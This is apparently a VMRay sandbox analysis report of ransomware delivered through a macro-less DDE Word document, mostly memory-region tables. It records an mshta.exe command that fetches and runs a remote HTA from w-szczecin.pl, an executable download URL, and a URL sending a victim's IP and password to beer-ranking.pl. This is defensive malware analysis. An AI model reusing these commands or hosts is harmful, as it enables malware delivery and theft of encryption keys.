DDE Ransomware in a Macro-less Word document | Grouped Behavior
Try VMRay Analyzer
URL Overview
Remarks
Critical The sample contacted only unknown URLs.
URL (4)
+
URL Connection Successful Reputation Status
beer-ranking.pl/login/post.php?IP=87.142.159.51&ID=0b75c6dd-d172-492e-b7be-2c05de30e808&Data=17-10-2017%2001:10:26&Haslo=46sDISwJJE10uqPP7rx!K_*@KX(YL2yASBN@3SDx6)7!_HL7IR23RZY!FUT1H2@9*H40@r71qZWq_r7ISTutC2_RHSDYFxRCOG!JI3tIL0IL1A4D38H)UGQ!93Ty@wJIMF14r5xNOO8AZXNLO4Ktu@_(YTwRZO@u4W85K_D9Owtx2QRBF*EJ7DGO6LqP@@UYQNN!M15@68qSIS3YOrqFFH4w35UYZzFAW3urN9*E1*6tOT1(U2D9tq)65TNO23ZIQ3K)XGCIDsL2XxZB9!u**t32XBBJ(92OXxMDNZU02 True
Unknown
w-szczecin.pl/img2/s50.exe True
Unknown
beer-ranking.pl/gen/ True
Unknown
beer-ranking.pl/save.txt True
Unknown
Involved Hosts

Hostname IP Addresses Country City Protocols Has Blacklisted URL
w-szczecin.pl 91.231.140.161 PL HTTP, DNS, TCP False
v4.ident.me 176.58.123.25 GB London DNS, TCP False
beer-ranking.pl 82.221.129.19 IS HTTP, DNS, TCP False
Monitored Processes
Process Graph
Behavior Information - Grouped by Category
Process #1: winword.exe'
+
Information Value
ID #1
File Name c:\program files (x86)\microsoft office\office12\winword.exe
Command Line "C:\Program Files (x86)\Microsoft Office\Office12\WINWORD.EXE"
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:00:21, Reason: Analysis Target
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:02:14
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x8d4
Parent PID 0x464 (c:\windows\explorer.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 968
0x 964
0x 95C
0x 954
0x 950
0x 8E8
0x 8D8
0x 0
0x 984
0x 988
0x 98C
0x AEC
0x B98
0x B9C
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x00022fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00032fff Pagefile Backed Memory Readable False False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable False False False
  • Region Actions
locale.nls 0x00070000 0x000d6fff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000000e0000 0x000e0000 0x000e0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000000f0000 0x000f0000 0x000f0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000100000 0x00100000 0x0010ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000110000 0x00110000 0x0013afff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000140000 0x00140000 0x00142fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000000150000 0x00150000 0x00153fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000160000 0x00160000 0x0016ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000170000 0x00170000 0x001affff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000001b0000 0x001b0000 0x001c7fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000001d0000 0x001d0000 0x001d0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000001e0000 0x001e0000 0x001effff Private Memory False False False
  • Region Actions
private_0x00000000001f0000 0x001f0000 0x001fffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000200000 0x00200000 0x0020ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000210000 0x00210000 0x0021ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000220000 0x00220000 0x0022ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000230000 0x00230000 0x0023ffff Private Memory False False False
  • Region Actions
private_0x0000000000240000 0x00240000 0x0024ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000250000 0x00250000 0x0025ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000260000 0x00260000 0x0026ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000270000 0x00270000 0x0027ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000280000 0x00280000 0x0028ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000290000 0x00290000 0x0029ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000002a0000 0x002a0000 0x002affff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000002b0000 0x002b0000 0x002bffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000002c0000 0x002c0000 0x003bffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000003c0000 0x003c0000 0x003cffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000003d0000 0x003d0000 0x003dffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x00000000003e0000 0x003e0000 0x003e1fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x00000000003f0000 0x003f0000 0x0040ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000410000 0x00410000 0x0041ffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000420000 0x00420000 0x00420fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000000430000 0x00430000 0x0043ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000440000 0x00440000 0x0044ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000450000 0x00450000 0x0048ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000490000 0x00490000 0x0049ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000004a0000 0x004a0000 0x004affff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x00000000004b0000 0x004b0000 0x004b0fff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
private_0x00000000004c0000 0x004c0000 0x004cffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x00000000004d0000 0x004d0000 0x004d6fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x00000000004e0000 0x004e0000 0x004e1fff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
private_0x00000000004f0000 0x004f0000 0x004f0fff Private Memory Readable, Writable, Executable False False False
  • Region Actions
private_0x0000000000500000 0x00500000 0x00500fff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000510000 0x00510000 0x00510fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000000520000 0x00520000 0x0052ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000530000 0x00530000 0x0053ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000540000 0x00540000 0x0054ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000550000 0x00550000 0x005cffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x00000000005d0000 0x005d0000 0x00757fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000000760000 0x00760000 0x0085ffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000860000 0x00860000 0x009e0fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x00000000009f0000 0x009f0000 0x009f0fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x0000000000a00000 0x00a00000 0x00a00fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x0000000000a10000 0x00a10000 0x00a10fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000000a20000 0x00a20000 0x00a2ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000a30000 0x00a30000 0x00a3ffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000a40000 0x00a40000 0x01e3ffff Pagefile Backed Memory Readable False False False
  • Region Actions
office.odf 0x01e40000 0x02079fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000002080000 0x02080000 0x0215efff Pagefile Backed Memory Readable False False False
  • Region Actions
sortdefault.nls 0x02160000 0x0242efff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002430000 0x02430000 0x0243ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002440000 0x02440000 0x0244ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002450000 0x02450000 0x0245ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002460000 0x02460000 0x0246ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002470000 0x02470000 0x0247ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002480000 0x02480000 0x024bffff Private Memory Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000024c0000 0x024c0000 0x024cffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000024d0000 0x024d0000 0x0250ffff Private Memory Readable, Writable False False False
  • Region Actions
staticcache.dat 0x02510000 0x02e3ffff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002e40000 0x02e40000 0x02ebffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000002ec0000 0x02ec0000 0x02ec1fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000002ed0000 0x02ed0000 0x02edffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000002ee0000 0x02ee0000 0x02ee0fff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002ef0000 0x02ef0000 0x02f2ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002f30000 0x02f30000 0x02f3ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002f40000 0x02f40000 0x02f4ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002f50000 0x02f50000 0x0304ffff Private Memory Readable, Writable False False False
  • Region Actions
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000b.db 0x03050000 0x03072fff Memory Mapped File Readable False False False
  • Region Actions
msxml5r.dll 0x03080000 0x03096fff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000030a0000 0x030a0000 0x030affff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000030b0000 0x030b0000 0x030bffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000030c0000 0x030c0000 0x030fffff Private Memory Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000003100000 0x03100000 0x034f2fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000003500000 0x03500000 0x0350ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003510000 0x03510000 0x0351ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003520000 0x03520000 0x0361ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003620000 0x03620000 0x0362ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003630000 0x03630000 0x0363ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003640000 0x03640000 0x0364ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003650000 0x03650000 0x0365ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003660000 0x03660000 0x0366ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003670000 0x03670000 0x0367ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003680000 0x03680000 0x036bffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000036c0000 0x036c0000 0x036cffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000036d0000 0x036d0000 0x036dffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000036e0000 0x036e0000 0x036effff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000036f0000 0x036f0000 0x036fffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003700000 0x03700000 0x0370ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003710000 0x03710000 0x0371efff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003720000 0x03720000 0x03721fff Private Memory Readable, Writable False False False
  • Region Actions
msctf.dll.mui 0x03730000 0x03730fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000003740000 0x03740000 0x0374ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003750000 0x03750000 0x0378ffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000003790000 0x03790000 0x03790fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x00000000037a0000 0x037a0000 0x037c1fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000037d0000 0x037d0000 0x037dffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000037e0000 0x037e0000 0x0381ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003820000 0x03820000 0x0385ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003860000 0x03860000 0x03865fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003870000 0x03870000 0x038affff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x00000000038b0000 0x038b0000 0x03caffff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003cb0000 0x03cb0000 0x03cb0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003cc0000 0x03cc0000 0x03cfffff Private Memory Readable, Writable False False False
  • Region Actions
kernelbase.dll.mui 0x03d00000 0x03dbffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000003dc0000 0x03dc0000 0x03dc0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003dd0000 0x03dd0000 0x03ecffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003ed0000 0x03ed0000 0x03ee5fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003ef0000 0x03ef0000 0x03f2ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003f30000 0x03f30000 0x03f38fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003f40000 0x03f40000 0x03f4ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003f50000 0x03f50000 0x03f58fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003f60000 0x03f60000 0x03f64fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003f70000 0x03f70000 0x03f83fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003f90000 0x03f90000 0x03f9ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003fa0000 0x03fa0000 0x03fa2fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003fb0000 0x03fb0000 0x03fc2fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003fd0000 0x03fd0000 0x03fdffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003fe0000 0x03fe0000 0x03fe3fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003ff0000 0x03ff0000 0x03ff0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004000000 0x04000000 0x04000fff Private Memory Readable, Writable, Executable False False False
  • Region Actions
private_0x0000000004030000 0x04030000 0x0403ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004040000 0x04040000 0x0443ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000044d0000 0x044d0000 0x0450ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004550000 0x04550000 0x0464ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004680000 0x04680000 0x0477ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004780000 0x04780000 0x04b3efff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004be0000 0x04be0000 0x04c1ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004c20000 0x04c20000 0x04d1ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004d80000 0x04d80000 0x04e7ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004e80000 0x04e80000 0x04f7ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004f80000 0x04f80000 0x0507ffff Private Memory Readable, Writable False False False
  • Region Actions
winword.exe 0x2f740000 0x2f796fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msointl.dll 0x6fc80000 0x7065cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msores.dll 0x70660000 0x70cb3fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
For performance reasons, the remaining 144 entries are omitted.
The remaining entries can be found in flog.txt.
Process #2: mshta.exe
(Host: 416, Network: 0)
+
Information Value
ID #2
File Name c:\windows\system32\mshta.exe
Command Line C:\Programs\Microsoft\Office\MSword.exe\..\..\..\..\windows\system32\mshta.exe http://w-szczecin.pl/img2/NEW15_10.doc/index.hta
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:00:31, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:02:04
OS Process Information
+
Information Value
PID 0x9c0
Parent PID 0x8d4 (c:\program files (x86)\microsoft office\office12\winword.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 9C4
0x 9C8
0x 9CC
0x 9D0
0x 9D4
0x 9D8
0x 9DC
0x 9E4
0x 9E8
0x 9EC
0x A20
0x A24
0x AE0
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
imm32.dll 0x00020000 0x0003dfff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x00026fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True True False
pagefile_0x0000000000030000 0x00030000 0x00031fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x00070000 0x000d6fff Memory Mapped File Readable False False False
  • Region Actions
mshta.exe.mui 0x000e0000 0x000e0fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000000f0000 0x000f0000 0x000f0fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000100000 0x00100000 0x00100fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000110000 0x00110000 0x00110fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000120000 0x00120000 0x00120fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000130000 0x00130000 0x00130fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
index.dat 0x00140000 0x0014bfff Memory Mapped File Readable, Writable True False False
  • Region Actions
index.dat 0x00150000 0x00157fff Memory Mapped File Readable, Writable True False False
  • Region Actions
index.dat 0x00160000 0x0016ffff Memory Mapped File Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000170000 0x00170000 0x00170fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000180000 0x00180000 0x00180fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000190000 0x00190000 0x001cffff Private Memory Readable, Writable True False False
  • Region Actions
index.dat 0x001d0000 0x0020ffff Memory Mapped File Readable, Writable True False False
  • Region Actions
windowsshell.manifest 0x00210000 0x00210fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000210000 0x00210000 0x00210fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000220000 0x00220000 0x00221fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000230000 0x00230000 0x00231fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000240000 0x00240000 0x00241fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000250000 0x00250000 0x0028ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000290000 0x00290000 0x0029ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000002a0000 0x002a0000 0x002a0fff Private Memory Readable, Writable True True False
pagefile_0x00000000002a0000 0x002a0000 0x002a0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000002b0000 0x002b0000 0x002bffff Private Memory Readable, Writable True True False
msctf.dll.mui 0x002b0000 0x002b0fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000002c0000 0x002c0000 0x003bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000003c0000 0x003c0000 0x0043ffff Private Memory Readable, Writable True True False
private_0x00000000003c0000 0x003c0000 0x003effff Private Memory Readable, Writable True True False
private_0x00000000003c0000 0x003c0000 0x003dffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000003e0000 0x003e0000 0x003effff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000400000 0x00400000 0x0043ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000460000 0x00460000 0x0049ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000004b0000 0x004b0000 0x004bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000004c0000 0x004c0000 0x004fffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000510000 0x00510000 0x0054ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000560000 0x00560000 0x005dffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000005e0000 0x005e0000 0x00767fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000780000 0x00780000 0x0087ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000880000 0x00880000 0x00a00fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000a10000 0x00a10000 0x00baffff Private Memory Readable, Writable True True False
pagefile_0x0000000000a10000 0x00a10000 0x00aeefff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000af0000 0x00af0000 0x00b6ffff Private Memory Readable, Writable True True False
private_0x0000000000af0000 0x00af0000 0x00b2ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000b60000 0x00b60000 0x00b6ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000b70000 0x00b70000 0x00baffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000bd0000 0x00bd0000 0x00ccffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000d30000 0x00d30000 0x00d6ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000d70000 0x00d70000 0x00daffff Private Memory Readable, Writable True False False
  • Region Actions
mshta.exe 0x00df0000 0x00dfefff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
pagefile_0x0000000000e00000 0x00e00000 0x021fffff Pagefile Backed Memory Readable True False False
  • Region Actions
sortdefault.nls 0x02200000 0x024cefff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000024d0000 0x024d0000 0x02812fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000002840000 0x02840000 0x0287ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000028c0000 0x028c0000 0x028fffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002900000 0x02900000 0x0297ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000029d0000 0x029d0000 0x02acffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002bb0000 0x02bb0000 0x02caffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002cb0000 0x02cb0000 0x02daffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002e30000 0x02e30000 0x02f2ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002f30000 0x02f30000 0x0302ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000030d0000 0x030d0000 0x031cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000032c0000 0x032c0000 0x033bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000033f0000 0x033f0000 0x034effff Private Memory Readable, Writable True False False
  • Region Actions
mshtml.dll 0x6f6a0000 0x6fc56fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
dwmapi.dll 0x73b10000 0x73b22fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
uxtheme.dll 0x73db0000 0x73e2ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
comctl32.dll 0x74820000 0x749bdfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntmarta.dll 0x74a00000 0x74a20fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
profapi.dll 0x74b40000 0x74b4afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleacc.dll 0x74f50000 0x74f8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msimtf.dll 0x74f90000 0x74f9afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wship6.dll 0x74fa0000 0x74fa5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winrnr.dll 0x74fb0000 0x74fb7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wshtcpip.dll 0x74fc0000 0x74fc4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mswsock.dll 0x74fd0000 0x7500bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pnrpnsp.dll 0x75010000 0x75021fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
napinsp.dll 0x75030000 0x7503ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rasadhlp.dll 0x75040000 0x75045fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nlaapi.dll 0x75050000 0x7505ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sensapi.dll 0x75060000 0x75065fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rtutils.dll 0x75070000 0x7507cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rasman.dll 0x75080000 0x75094fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rasapi32.dll 0x750a0000 0x750f1fff Memory Mapped File Readable, Writable, Executable False False False
